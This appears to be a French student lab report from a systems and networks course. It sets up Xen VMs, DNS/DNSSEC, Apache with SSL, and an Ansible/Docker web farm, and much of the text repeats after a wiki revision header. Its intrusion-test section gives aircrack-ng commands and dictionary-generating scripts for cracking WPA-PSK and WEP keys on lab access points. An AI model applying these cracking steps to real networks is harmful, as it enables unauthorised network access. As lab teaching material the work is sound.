
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
<Location "/balancer-manager">
SetHandler balancer-manager
Require host 193.48.57.180
</Location>
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T17:04:17Z

Zbriois : /* Equilibreur de charge */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
